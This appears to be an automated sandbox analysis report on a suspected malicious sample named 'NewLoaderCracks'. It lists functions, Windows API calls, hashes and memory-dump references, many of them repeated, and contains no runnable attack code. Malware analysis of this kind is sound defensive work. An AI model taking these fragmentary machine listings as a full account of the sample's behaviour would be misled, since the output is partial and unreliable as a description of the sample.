Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c1eba118a1b6c46a287c3894995dc56c8e76098fe719015e041354c981fcb6d5
Instruction ID: 0d6143e7f417021c4a95c407a404bd6469f188c47d2b722bb0d6c69ff4c9db1f
Opcode Fuzzy Hash: c1eba118a1b6c46a287c3894995dc56c8e76098fe719015e041354c981fcb6d5
Instruction Fuzzy Hash: 05A002A716D103BD31287151BD6AE3B0A6CE4C4B52330891BB80A944495555584D5831

Function 0055DAA5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DAB2

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7acb9a6226490440966b3214caa561ab4305cd65dc5417bf059463c4912f460f
Instruction ID: bddb6bc2d9e43e08a4b64d9f0411eb9928632849c9d15a2a3f93df2dcb97bae0
Opcode Fuzzy Hash: 7acb9a6226490440966b3214caa561ab4305cd65dc5417bf059463c4912f460f
Instruction Fuzzy Hash: E2A002A726D5027D3168B151FD6AE3B0A6CF4D0B53330851BB80A944495555584D5831

Function 0055DBF7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ab024aa130c34835737e8463d5f80acb79a6db85e1e992e797913b562bd63886
Instruction ID: 8ba09817d90f6dad19597ef9d179c29d6d4e0860af4df8f29ed62a3cff4950f8
Opcode Fuzzy Hash: ab024aa130c34835737e8463d5f80acb79a6db85e1e992e797913b562bd63886
Instruction Fuzzy Hash: D4A0029726D107BD311851517D6BD760B3DF4C4B62331891BBD0A9415159505C4D5931

Function 0055DC44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DC36

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d21940626543b716994b49dc27ead0d907b8106df8af1df91a44888008a2a089
Instruction ID: 23cf5c8ea9618947f8a69eee677ad4918288f0c541f791f754cd487d0640f3d8
Opcode Fuzzy Hash: d21940626543b716994b49dc27ead0d907b8106df8af1df91a44888008a2a089
Instruction Fuzzy Hash: DCA0129716C103BC301C21403C26D360A3CE4C0B523308C0BBC0A9004095801C0C5430

Function 0055DC4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DC36

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6482de8d92a46e2f2fc3296973fe0e0ce79b7930f1a29713581215243e5afa16
Instruction ID: 23cf5c8ea9618947f8a69eee677ad4918288f0c541f791f754cd487d0640f3d8
Opcode Fuzzy Hash: 6482de8d92a46e2f2fc3296973fe0e0ce79b7930f1a29713581215243e5afa16
Instruction Fuzzy Hash: DCA0129716C103BC301C21403C26D360A3CE4C0B523308C0BBC0A9004095801C0C5430

Function 0055DC15 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eba6340bf3ecbe53a1809fc6a59a7d4ed5bfb0ab72087797edf0c0b041cc8878
Instruction ID: 8ba09817d90f6dad19597ef9d179c29d6d4e0860af4df8f29ed62a3cff4950f8
Opcode Fuzzy Hash: eba6340bf3ecbe53a1809fc6a59a7d4ed5bfb0ab72087797edf0c0b041cc8878
Instruction Fuzzy Hash: D4A0029726D107BD311851517D6BD760B3DF4C4B62331891BBD0A9415159505C4D5931

Function 0055DC1F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ced1fc45f33ab895362bf9444da94c191f1b8ab9d03f2485f18feb33d26e4c32
Instruction ID: 8ba09817d90f6dad19597ef9d179c29d6d4e0860af4df8f29ed62a3cff4950f8
Opcode Fuzzy Hash: ced1fc45f33ab895362bf9444da94c191f1b8ab9d03f2485f18feb33d26e4c32
Instruction Fuzzy Hash: D4A0029726D107BD311851517D6BD760B3DF4C4B62331891BBD0A9415159505C4D5931

Function 0055DC0B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0055DBD5

Part of subcall function 0055DF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0055DFD6
Part of subcall function 0055DF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0055DFE7

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 197071ea1e2988bdaae533a680561730d0ac0607ed92b754a2f5d1136a2c8de2
Instruction ID: 8ba09817d90f6dad19597ef9d179c29d6d4e0860af4df8f29ed62a3cff4950f8
Opcode Fuzzy Hash: 197071ea1e2988bdaae533a680561730d0ac0607ed92b754a2f5d1136a2c8de2
Instruction Fuzzy Hash: D4A0029726D107BD311851517D6BD760B3DF4C4B62331891BBD0A9415159505C4D5931

Function 00549EBF Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00549104,?,?,-00001964), ref: 00549EC2

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: d268456f94185afbf394bdc835c1bdfaeff4b21926531e8d6360f926cb90e6da
Instruction ID: cc3f84ea991543c8d7fc2f4db266fb47dab8a7dd55fd6e66d5b3e245d63db810
Opcode Fuzzy Hash: d268456f94185afbf394bdc835c1bdfaeff4b21926531e8d6360f926cb90e6da
Instruction Fuzzy Hash: 90B011300A000A8ACF002B30EC088283A20FA2230A30082A0A00ACA0A0EB22C00ABA00

Function 0055A322 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,0055A587,C:\Users\user\Desktop,00000000,0058946A,00000006), ref: 0055A326

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: f1503658fdfd97ca41c1e22a65b2b525b322af4797cd6e0323a5e31b9b62a752
Instruction ID: 0112741930cea298a9c1be0512525d4c7067704389339c5dd1bbfa7489390e35
Opcode Fuzzy Hash: f1503658fdfd97ca41c1e22a65b2b525b322af4797cd6e0323a5e31b9b62a752
Instruction Fuzzy Hash: 45A01230194006568B000B30DC09C1577505770702F0086207006C00A0CB308858F500

Function 005496D0 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,0054968F,?,?,?,?,00571FA1,000000FF), ref: 005496EB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 09698ff151d47ab4153cd89f10b19992699fa418b0bb76cbf4dd9de790c292cf
Instruction ID: 67ef5d7cf6239105b28b7fe1c3402c6f18ae4f749ea37ed2a1901756e4174457
Opcode Fuzzy Hash: 09698ff151d47ab4153cd89f10b19992699fa418b0bb76cbf4dd9de790c292cf
Instruction Fuzzy Hash: 98F05E30556B058FDB308A24D58A7D3BBE8BB12739F049B1E90EB435E89761688D9B01

Non-executed Functions

Function 0055B8E0 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0055B971
EndDialog.USER32(?,00000006), ref: 0055B984
GetDlgItem.USER32(?,0000006C), ref: 0055B9A0
SetFocus.USER32(00000000), ref: 0055B9A7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0055B9E1
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0055BA18
FindFirstFileW.KERNEL32(?,?), ref: 0055BA2E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0055BA4C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0055BA5C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0055BA78
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0055BA94
_swprintf.LIBCMT ref: 0055BAC4

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0055BAD7
FindClose.KERNEL32(00000000), ref: 0055BADE
_swprintf.LIBCMT ref: 0055BB37
SetDlgItemTextW.USER32(?,00000068,?), ref: 0055BB4A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0055BB67
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0055BB87
FileTimeToSystemTime.KERNEL32(?,?), ref: 0055BB97
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0055BBB1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0055BBC9
_swprintf.LIBCMT ref: 0055BBF5
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0055BC08
_swprintf.LIBCMT ref: 0055BC5C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0055BC6F

Part of subcall function 0055A63C: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0055A662
Part of subcall function 0055A63C: GetNumberFormatW.KERNEL32(00000400,00000000,?,0057E600,?,?), ref: 0055A6B1

Strings

REPLACEFILEDLG, xrefs: 0055B907
%s %s %s, xrefs: 0055BAB2, 0055BBE7
%s %s, xrefs: 0055BB29, 0055BC4E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: a22a5dc5db410cec8f4623a971e580d196065e4125458513dd866447ea4f619a
Instruction ID: eefe0744fe20905401ea62d6d10ea87ff2c5890195bf42d829c60c3dfc957547
Opcode Fuzzy Hash: a22a5dc5db410cec8f4623a971e580d196065e4125458513dd866447ea4f619a
Instruction Fuzzy Hash: 949194B2544345BBE7219BA4DC4DFFB7BACFB89705F00481AB749D2081D7719A08DB62

Function 0054718C Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00547191
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 005472F1
CloseHandle.KERNEL32(00000000), ref: 00547301

Part of subcall function 00547BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00547C04
Part of subcall function 00547BF5: GetLastError.KERNEL32 ref: 00547C4A
Part of subcall function 00547BF5: CloseHandle.KERNEL32(?), ref: 00547C59

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 0054730C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 0054741A
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00547446
CloseHandle.KERNEL32(?), ref: 00547457
GetLastError.KERNEL32 ref: 00547467
RemoveDirectoryW.KERNEL32(?), ref: 005474B3
DeleteFileW.KERNEL32(?), ref: 005474DB

Strings

UNC\, xrefs: 0054723C
SeRestorePrivilege, xrefs: 005471B2
\??\, xrefs: 00547217
SeCreateSymbolicLinkPrivilege, xrefs: 005471BC

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: 62bd3a42f0ddea30b03c45438094c48de329feec105a687bbae0249e61f5d16c
Instruction ID: 83938081980d560f00d20f0b29f784d6f58444c7f785ba47a85f25e977430583
Opcode Fuzzy Hash: 62bd3a42f0ddea30b03c45438094c48de329feec105a687bbae0249e61f5d16c
Instruction Fuzzy Hash: 96B1C271904219AADF20DFA4DC49BEE7FB8FF44308F0045A9F949E7142E734AA49DB61

Function 00543281 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0054328A
_memcmp.LIBVCRUNTIME ref: 00543377

Strings

CMT, xrefs: 00543990
h%u, xrefs: 0054362D
hc%u, xrefs: 0054367B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: 0f301b30b083f82736e26f5761ef494fcee3d253a73b61294c35a0ddc13c96ba
Instruction ID: b6efcfb0a97c9bedd81df08ff31a55f65a2bd9e27a75ea063ab0e5f7f62c1d49
Opcode Fuzzy Hash: 0f301b30b083f82736e26f5761ef494fcee3d253a73b61294c35a0ddc13c96ba
Instruction Fuzzy Hash: 1C32B7715102859FDF14DF74C899AEA3FA5BF95308F04447EFD8A8B292DB709A48CB60

Function 0056D00E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0056D154

Strings

1#IND, xrefs: 0056E34C
1#SNAN, xrefs: 0056E353
1#INF, xrefs: 0056E361
1#QNAN, xrefs: 0056E35A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 9fb10777ef9fd41c82b84c8d9c8259bccad41691db0edafd973225670d232f65
Instruction ID: fd9556d9e946e3826d358d2046cf7a5656d1cdab205af903a20f9e445c843c0c
Opcode Fuzzy Hash: 9fb10777ef9fd41c82b84c8d9c8259bccad41691db0edafd973225670d232f65
